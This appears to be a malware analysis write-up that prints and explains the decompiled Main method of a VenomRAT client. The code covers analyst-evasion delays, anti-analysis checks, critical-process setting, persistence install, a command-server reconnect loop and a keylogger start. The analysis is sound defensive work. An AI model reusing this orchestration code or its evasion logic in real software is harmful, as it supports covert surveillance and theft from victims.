← Reports

Remote Access Trojan

VenomRAT - ClientAny.exe

Author
Moise Medici
Updated
15 Nov 2025 · Completed
Difficulty
Easy
Platform
Windows
Capabilities
Persistence MechanismsCommand Execution via Powershell Cmd BashData-Exfiltration
Tags
C#VenomRAT

Client > Program

The full code is:

Client.Program
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Threading;
using System.Windows.Forms;
using Client.Connection;
using Client.Helper;
using Client.Install;
namespace Client
{
public class Program
{
public static void Main()
{
Directory.CreateDirectory(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyData"));
Keylogger.Params.LoadFromFile();
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
ServicePointManager.DefaultConnectionLimit = 9999;
for (int i = 0; i < Convert.ToInt32(Settings.De_lay); i++)
{
Thread.Sleep(1000);
}
if (!Settings.InitializeSettings())
{
Environment.Exit(0);
}
SetRegistry.InitRegistry();
try
{
if (Convert.ToBoolean(Settings.An_ti))
{
Anti_Analysis.RunAntiAnalysis();
}
}
catch
{
}
A.B();
try
{
if (!MutexControl.CreateMutex())
{
Environment.Exit(0);
}
}
catch
{
}
try
{
if (Convert.ToBoolean(Settings.Anti_Process))
{
AntiProcess.StartBlock();
}
}
catch
{
}
try
{
if (Convert.ToBoolean(Settings.BS_OD) && Methods.IsAdmin())
{
ProcessCritical.Set();
}
}
catch
{
}
try
{
if (Convert.ToBoolean(Settings.In_stall))
{
NormalStartup.Install();
}
}
catch
{
}
Methods.PreventSleep();
try
{
if (Methods.IsAdmin())
{
Methods.ClearSetting();
}
}
catch
{
}
new Thread(delegate
{
for (;;)
{
try
{
if (!ClientSocket.IsConnected)
{
Program.StopHVNC();
ClientSocket.Reconnect();
ClientSocket.InitializeClient();
}
}
catch
{
}
Thread.Sleep(3000);
}
}).Start();
Keylogger.Run();
Application.Run();
}
public static void StopHVNC()
{
foreach (Process process in Process.GetProcessesByName("cvtres"))
{
process.Kill();
process.WaitForExit();
process.Dispose();
}
}
}
}

Starting from the imports, there are System and Client imports. The System imports are from the C# standard library and are built-in in the language, while the Client imports are classes defined in other parts of the sample.

The Main method starts by creating the %AppData%/Roaming/MyData directory:

Client.Program
Directory.CreateDirectory(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyData"));

This is followed by a very interesting call, which seems to imply that all keylogging functionality is controlled by a settings file. This is definitely something to look into more next, to see what can be configured and how.

Client.Program
Keylogger.Params.LoadFromFile();

Moving on, there are a couple of lines of connection configuration, probably to determine how to communicate with the exfiltration server.

Then a delay is executed, potentially to throw off an analyst. The trick here is to wait for a certain amount of minutes, and in certain cases an analyst might be closing the analysis tools, like Procmon, before the delay elapses. The way that it is implemented here is by taking a Settings.De_lay value, converting it to a number and multiplying it by 1000 milliseconds. This is the time the program will sleep for before continuing:

Client.Program
for (int i = 0; i < Convert.ToInt32(Settings.De_lay); i++)
{
Thread.Sleep(1000);
}

Next, there is another very informative set of instructions. The if statement is telling us that if the settings are not initialized properly, the execution terminates. This is the third time that the settings are retrieved, and they are essential for the execution to continue, suggesting that Client.Settings should be analyzed as the next step.

Client.Program
if (!Settings.InitializeSettings())
{
Environment.Exit(0);
}

Some registries are defined at line 30, although it is not yet clear which ones.

Client.Program
SetRegistry.InitRegistry();

Jumping slightly ahead for a moment, at line 41 there is the call:

Client.Program
A.B();

In dnSpy, hovering over A shows that it comes from Client.Helpers. This method name in itself does not reveal much, so it can be skipped for now.

This is followed by a mutex check to see if the client has been infected already. If yes, the execution is terminated. See Mutex for more details.

Client.Program
if (!MutexControl.CreateMutex())
{
Environment.Exit(0);
}

Lines 35 and 56 are both checks to see if the process is being analyzed in any way. Note that these blocks and the ones below all have an empty catch statement. This means that the malware tries to perform these checks but if it fails for any reason (maybe a bug in the code or some weirdness in the client), it keeps going with the infection without any notification to the user with error messages or pop-ups.

Client.Program
try
{
if (Convert.ToBoolean(Settings.An_ti))
{
Anti_Analysis.RunAntiAnalysis();
}
}
catch
{
}
13 collapsed lines
A.B();
try
{
if (!MutexControl.CreateMutex())
{
Environment.Exit(0);
}
}
catch
{
}
try
{
if (Convert.ToBoolean(Settings.Anti_Process))
{
AntiProcess.StartBlock();
}
}

After these, the following code is executed:

Client.Program
if (Convert.ToBoolean(Settings.BS_OD) && Methods.IsAdmin())
{
ProcessCritical.Set();
}

It is not entirely clear what this means at the moment; ProcessCritical comes from Client.Helpers but is not very explicit in what it is about. It can be revisited later.

Once all the checks and safeguards are passed, the installation is performed:

Client.Program
if (Convert.ToBoolean(Settings.In_stall))
{
NormalStartup.Install();
}

The installation will probably be the next class to look at after the settings, as it is likely the core of the persistence mechanisms.

Moving on, there are two interesting calls. The first one might somehow block the client from going to sleep, probably to continue the exfiltration without interruptions, and the second will clear some settings if the user is admin, though it is not yet known which settings.

Client.Program
Methods.PreventSleep();
try
{
if (Methods.IsAdmin())
{
Methods.ClearSetting();
}
}

Note that there is a new thread being spawned, which loops forever, sleeping 3000 milliseconds between each iteration and trying to connect to a connection defined in Client.Connection. The loop also performs the StopHVNC call, which stops the HVNC component, generally used for remote control of the machine (see reference 1 for more info on this technique). However, it is not immediately obvious where the remote connection points to or where it is enabled.

Client.Program
new Thread(delegate
{
for (;;)
{
try
{
if (!ClientSocket.IsConnected)
{
Program.StopHVNC();
ClientSocket.Reconnect();
ClientSocket.InitializeClient();
}
}
catch
{
}
Thread.Sleep(3000);
}
}).Start();

At this point, the infection is complete and the client can start running the keylogger module and the Application, whose purpose is not yet known.

Client.Program
Keylogger.Run();
Application.Run();